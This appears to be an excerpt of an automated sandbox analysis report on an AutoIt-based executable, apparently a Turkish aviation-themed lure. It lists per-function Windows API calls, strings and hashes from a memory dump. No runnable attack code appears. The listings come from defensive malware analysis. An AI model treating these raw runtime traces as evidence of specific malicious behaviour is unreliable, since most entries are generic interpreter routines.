FreeLibrary.KERNEL32(?), ref: 0102B9CF
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0102B9DF
DestroyIcon.USER32(?,?,?,?,?,010291C2), ref: 0102B9EE
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 0102BA0B
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 0102BA17

Part of subcall function 00FC2EFD: __wcsicmp_l.LIBCMT ref: 00FC2F86

Strings

.dll, xrefs: 0102B86D
.exe, xrefs: 0102B84A
.icl, xrefs: 0102B82A

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
String ID: .dll$.exe$.icl
API String ID: 1212759294-1154884017
Opcode ID: a1cfe9969c4fd18691c8b2422453f320c7c01688ddf2400fab1f7e88f3466f46
Instruction ID: f4c6298fcac7a0ee133e842943daf9e8f11c819c038c2702579c947b01983f89
Opcode Fuzzy Hash: a1cfe9969c4fd18691c8b2422453f320c7c01688ddf2400fab1f7e88f3466f46
Instruction Fuzzy Hash: 72610171A00226BEEB24DF68CD41FBE7BB8FB08710F10415AF955D60C1DBB99A80D7A0

Function 0100A352 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00FA9837: __itow.LIBCMT ref: 00FA9862
Part of subcall function 00FA9837: __swprintf.LIBCMT ref: 00FA98AC

CharLowerBuffW.USER32(?,?), ref: 0100A3CB
GetDriveTypeW.KERNEL32 ref: 0100A418
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0100A460
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0100A497
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0100A4C5

Part of subcall function 00FA7BCC: _memmove.LIBCMT ref: 00FA7C06

Strings

close, xrefs: 0100A3D1
wait, xrefs: 0100A482
closed, xrefs: 0100A3DF, 0100A3E8
open , xrefs: 0100A427
set cd door , xrefs: 0100A466
open, xrefs: 0100A3F2
close cd wait, xrefs: 0100A4B0
type cdaudio alias cd wait, xrefs: 0100A443

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 2698844021-4113822522
Opcode ID: e2d8fd24ae51a81888ece7767b7f130fc1cc5011e36eed964a1d182b15f6d5c8
Instruction ID: 9435004e647be50d3f50ec2f71fed8ca613d0cb73bdca316e4397df2ad22becb
Opcode Fuzzy Hash: e2d8fd24ae51a81888ece7767b7f130fc1cc5011e36eed964a1d182b15f6d5c8
Instruction Fuzzy Hash: CD5158B52083059FD740EF25CC81C6BB7E4EF89758F40886DF89657291DB39AD0ACB52

Function 00FFF8AA Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 138windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,00000000,?,00FDE029,00000001,0000138C,00000001,00000000,00000001,?,00000000,00000000), ref: 00FFF8DF
LoadStringW.USER32(00000000,?,00FDE029,00000001), ref: 00FFF8E8

Part of subcall function 00FA7DE1: _memmove.LIBCMT ref: 00FA7E22

GetModuleHandleW.KERNEL32(00000000,01065310,?,00000FFF,?,?,00FDE029,00000001,0000138C,00000001,00000000,00000001,?,00000000,00000000,00000001), ref: 00FFF90A
LoadStringW.USER32(00000000,?,00FDE029,00000001), ref: 00FFF90D
__swprintf.LIBCMT ref: 00FFF95D
__swprintf.LIBCMT ref: 00FFF96E
_wprintf.LIBCMT ref: 00FFFA17
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00FFFA2E

Strings

Line %d (File "%s"):, xrefs: 00FFF957
%s (%d) : ==> %s: %s %s, xrefs: 00FFFA12
Error: , xrefs: 00FFF9E5
Line %d:, xrefs: 00FFF968
^ ERROR, xrefs: 00FFF9C3

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 984253442-2268648507
Opcode ID: 68bf985a9297f7ac439eeac1cbef5f1b4a4d303da2cfac96d122b1f06d734552
Instruction ID: 5bf6d4a4bfdd4942583570344cb57abc2cf1407992f0dc545256fdeb2f723ee0
Opcode Fuzzy Hash: 68bf985a9297f7ac439eeac1cbef5f1b4a4d303da2cfac96d122b1f06d734552
Instruction Fuzzy Hash: 8C4141B280020DAACF14FBE1DD46EFE7778AF19750F500065F505B60A6EA395F09EB61

Function 0102BA33 Relevance: 22.6, APIs: 15, Instructions: 130filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,01029207,?,?), ref: 0102BA56
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,01029207,?,?,00000000,?), ref: 0102BA6D
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,01029207,?,?,00000000,?), ref: 0102BA78
CloseHandle.KERNEL32(00000000,?,?,?,?,01029207,?,?,00000000,?), ref: 0102BA85
GlobalLock.KERNEL32(00000000), ref: 0102BA8E
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,01029207,?,?,00000000,?), ref: 0102BA9D
GlobalUnlock.KERNEL32(00000000), ref: 0102BAA6
CloseHandle.KERNEL32(00000000,?,?,?,?,01029207,?,?,00000000,?), ref: 0102BAAD
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,01029207,?,?,00000000,?), ref: 0102BABE
OleLoadPicture.OLEAUT32(?,00000000,00000000,01032CAC,?), ref: 0102BAD7
GlobalFree.KERNEL32(00000000), ref: 0102BAE7
GetObjectW.GDI32(00000000,00000018,?), ref: 0102BB0B
CopyImage.USER32(00000000,00000000,?,?,00002000), ref: 0102BB36
DeleteObject.GDI32(00000000), ref: 0102BB5E
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 0102BB74

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 04cc988f9ae39c0626d09035e5536cc252ab3677eda1e7f9bf49655f6ed5fb6f
Instruction ID: 36033b594e037670671f26d11816b3aa2419514da74af7cd98395fa28b11baad
Opcode Fuzzy Hash: 04cc988f9ae39c0626d09035e5536cc252ab3677eda1e7f9bf49655f6ed5fb6f
Instruction Fuzzy Hash: 7C414975600219AFDB319F69DC88EAABBBCFF8AB51F208058F985D7254C7759901CB20

Function 0100D899 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

__wsplitpath.LIBCMT ref: 0100DA10
_wcscat.LIBCMT ref: 0100DA28
_wcscat.LIBCMT ref: 0100DA3A
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 0100DA4F
SetCurrentDirectoryW.KERNEL32(?), ref: 0100DA63
GetFileAttributesW.KERNEL32(?), ref: 0100DA7B
SetFileAttributesW.KERNEL32(?,00000000), ref: 0100DA95
SetCurrentDirectoryW.KERNEL32(?), ref: 0100DAA7

Strings

*.*, xrefs: 0100DAE6

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
String ID: *.*
API String ID: 34673085-438819550
Opcode ID: 5133096c73bb394d2cefa7c789d6c249250ecd8aacc8c712686368bba354b8ce
Instruction ID: fe8c4ef83098e063d4bd0160d329f1010063ef6e6c27cefd1c17a0c3facb2501
Opcode Fuzzy Hash: 5133096c73bb394d2cefa7c789d6c249250ecd8aacc8c712686368bba354b8ce
Instruction Fuzzy Hash: C881B4715083419FEB65DFE8C840A6EB7E5BF89310F18486EF9C9C7291EA34D944CB62

Function 0102C1AC Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA2612: GetWindowLongW.USER32(?,000000EB), ref: 00FA2623

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 0102C1FC
GetFocus.USER32 ref: 0102C20C
GetDlgCtrlID.USER32(00000000), ref: 0102C217
_memset.LIBCMT ref: 0102C342
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 0102C36D
GetMenuItemCount.USER32(?), ref: 0102C38D
GetMenuItemID.USER32(?,00000000), ref: 0102C3A0
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 0102C3D4
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 0102C41C
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 0102C454
DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 0102C489

Strings

0, xrefs: 0102C33A

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: 0
API String ID: 1296962147-4108050209
Opcode ID: 4ad878c764b697af50318f5c5ab6fd639a2dc44ca80a78384a79aee1a78ed5b8
Instruction ID: 0d61fff6ad76c9139b661fa4f894d31c0b43b5ffd0f828d7fb1c9d76b8b1b5c5
Opcode Fuzzy Hash: 4ad878c764b697af50318f5c5ab6fd639a2dc44ca80a78384a79aee1a78ed5b8
Instruction Fuzzy Hash: EB81A0702083219FE721CF18CA84A6FBBE8FB89354F10495EFAC597251CB35D905CB52

Function 0101731A Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0101738F
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 0101739B
CreateCompatibleDC.GDI32(?), ref: 010173A7
SelectObject.GDI32(00000000,?), ref: 010173B4
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 01017408
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 01017444
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 01017468
SelectObject.GDI32(00000006,?), ref: 01017470
DeleteObject.GDI32(?), ref: 01017479
DeleteDC.GDI32(00000006), ref: 01017480
ReleaseDC.USER32(00000000,?), ref: 0101748B

Strings

(, xrefs: 01017410

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 4fa87db84af6e118584dd19f72ae57ff1525306a2504115b22cbe954183b7b91
Instruction ID: 99f1ccfde12f5bb7b14fe2fbe3a002fc6d4749c569d77a8adc0371bc1455b305
Opcode Fuzzy Hash: 4fa87db84af6e118584dd19f72ae57ff1525306a2504115b22cbe954183b7b91
Instruction Fuzzy Hash: 46514C7590030AEFDB25CFA8C885EAEBBF9EF48350F14851DF99A97214C739A940CB50

Function 00FA6A8C Relevance: 19.7, APIs: 4, Strings: 7, Instructions: 478COMMON

Download Yara Rule

APIs

Part of subcall function 00FC0957: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,00FA6B0C,?,00008000), ref: 00FC0973

Part of subcall function 00FA4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00FA4743,?,?,00FA37AE,?), ref: 00FA4770

SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00FA6BAD
SetCurrentDirectoryW.KERNEL32(?), ref: 00FA6CFA

Part of subcall function 00FA586D: _wcscpy.LIBCMT ref: 00FA58A5

Part of subcall function 00FC363D: _iswctype.LIBCMT ref: 00FC3645

Strings

#include depth exceeded. Make sure there are no recursive includes, xrefs: 00FDE421
EA06, xrefs: 00FDE452
Error opening the file, xrefs: 00FDE43D, 00FDE4B8
Unterminated string, xrefs: 00FDE7E4
Bad directive syntax error, xrefs: 00FDE79D
>>>AUTOIT SCRIPT<<<, xrefs: 00FDE496
AU3!, xrefs: 00FA6B61

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 537147316-1018226102
Opcode ID: 464ea72739d21d050d9e54498fcffc8e3e9c29c08f26c16fbdc3481e83595b4c
Instruction ID: 77bfcd2909d3f3373090ba36955edf52ee3717405e4775e2c52d2d6449b24502
Opcode Fuzzy Hash: 464ea72739d21d050d9e54498fcffc8e3e9c29c08f26c16fbdc3481e83595b4c
Instruction Fuzzy Hash: 4D02CFB15083419FC724EF20C881AAFBBE6EF96354F08481EF4D5972A1DB34D949EB42

Function 01002D36 Relevance: 19.7, APIs: 13, Instructions: 214windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 01002D50
GetMenuItemInfoW.USER32(00000000,00000007,00000000,00000030), ref: 01002DDD
GetMenuItemCount.USER32(01065890), ref: 01002E66
DeleteMenu.USER32(01065890,00000005,00000000,000000F5,?,?), ref: 01002EF6
DeleteMenu.USER32(01065890,00000004,00000000), ref: 01002EFE
DeleteMenu.USER32(01065890,00000006,00000000), ref: 01002F06
DeleteMenu.USER32(01065890,00000003,00000000), ref: 01002F0E
GetMenuItemCount.USER32(01065890), ref: 01002F16
SetMenuItemInfoW.USER32(01065890,00000004,00000000,00000030), ref: 01002F4C
GetCursorPos.USER32(?), ref: 01002F56
SetForegroundWindow.USER32(00000000), ref: 01002F5F
TrackPopupMenuEx.USER32(01065890,00000000,?,00000000,00000000,00000000), ref: 01002F72
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 01002F7E

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
String ID:
API String ID: 3993528054-0
Opcode ID: 8a227070da320674f98d453303ec808478c2a2d0f5501108e4b291002e6aa62f
Instruction ID: 1751d5de09600351846814ec7b5265791dc5034c603d802415cfe5c1d3a38ad5
Opcode Fuzzy Hash: 8a227070da320674f98d453303ec808478c2a2d0f5501108e4b291002e6aa62f
Instruction Fuzzy Hash: 7371D470640256BAFB329F58DC8DFAABFA8FF04754F10025AF695AA1D0C7B55C20C790

Function 00FF77DC Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA7BCC: _memmove.LIBCMT ref: 00FA7C06

_memset.LIBCMT ref: 00FF786B
WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00FF78A0
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 00FF78BC
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 00FF78D8
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00FF7902
CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 00FF792A
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00FF7935
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00FF793A

Strings

SOFTWARE\Classes\, xrefs: 00FF780C
\CLSID, xrefs: 00FF7822
\IPC$, xrefs: 00FF7882

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_memset
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 1411258926-22481851
Opcode ID: 4041b2683828e0368eb994c1efc59082facd2f2b403a367a556863b3962b9dd2
Instruction ID: aae9560a9fbd9076c5affa744b3ae3a3cf39dc3110e7427097570d3e0254044d
Opcode Fuzzy Hash: 4041b2683828e0368eb994c1efc59082facd2f2b403a367a556863b3962b9dd2
Instruction Fuzzy Hash: 2E4108B2C1422DABCF21EFA4EC85DEEB778BF08750F404069F905A7261DA799D04DB90

Function 01020E1A Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,0101FDAD,?,?), ref: 01020E31

Strings

HKEY_CURRENT_USER, xrefs: 01020F10
HKEY_USERS, xrefs: 01020F32
HKLM, xrefs: 01020EAF
HKCU, xrefs: 01020F21
HKEY_CLASSES_ROOT, xrefs: 01020EC4
HKCR, xrefs: 01020ED9
HKEY_LOCAL_MACHINE, xrefs: 01020E9A
HKCC, xrefs: 01020EFF
HKU, xrefs: 01020F43
HKEY_CURRENT_CONFIG, xrefs: 01020EEE

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-909552448
Opcode ID: 5965779acc915bab2dbc9d6a43d37e564593fea6d7a2d49ecf11a1c3d27dbc91
Instruction ID: 5e6d77a9e29a23603adb38883e6db7354a579b1fd1137346ea5b9190e61ac068
Opcode Fuzzy Hash: 5965779acc915bab2dbc9d6a43d37e564593fea6d7a2d49ecf11a1c3d27dbc91
Instruction Fuzzy Hash: 9541583114435ACBCF81EE14DD56EEF3BA4BF01304F444448FCA51B696DB39996ADBA0

Function 00FFF7A1 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,00FDE2A0,00000010,?,Bad directive syntax error,0102F910,00000000,?,?,?,>>>AUTOIT SCRIPT<<<), ref: 00FFF7C2
LoadStringW.USER32(00000000,?,00FDE2A0,00000010), ref: 00FFF7C9

Part of subcall function 00FA7DE1: _memmove.LIBCMT ref: 00FA7E22

_wprintf.LIBCMT ref: 00FFF7FC
__swprintf.LIBCMT ref: 00FFF81E
MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 00FFF88D

Strings

Line %d (File "%s"):, xrefs: 00FFF833
., xrefs: 00FFF873
Line %d:, xrefs: 00FFF818
Error: , xrefs: 00FFF85B
%s (%d) : ==> %s.: %s %s, xrefs: 00FFF7F7

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: HandleLoadMessageModuleString__swprintf_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 1506413516-4153970271
Opcode ID: 0b86e51dc7f5e35ecfdcc16d1f09397fb7a7718f4037585abc9c42d42f2bc8ac
Instruction ID: a1755a21311429ab1609e4c0fb4e5fea8d60aa9b83af68460324ff83779f6fd9
Opcode Fuzzy Hash: 0b86e51dc7f5e35ecfdcc16d1f09397fb7a7718f4037585abc9c42d42f2bc8ac
Instruction Fuzzy Hash: 9121717290021EABCF11EF91CC4AEFE7739BF18350F04446AF90566162DA759618EB51

Function 010052C7 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 00FA7BCC: _memmove.LIBCMT ref: 00FA7C06

Part of subcall function 00FA7924: _memmove.LIBCMT ref: 00FA79AD

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 01005330
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 01005346
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 01005357
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 01005369
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 0100537A

Strings

status PlayMe mode, xrefs: 0100532B
close PlayMe, xrefs: 01005341, 0100536E
open , xrefs: 010052DF
play PlayMe wait, xrefs: 01005364
play PlayMe, xrefs: 01005375
alias PlayMe, xrefs: 01005309

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
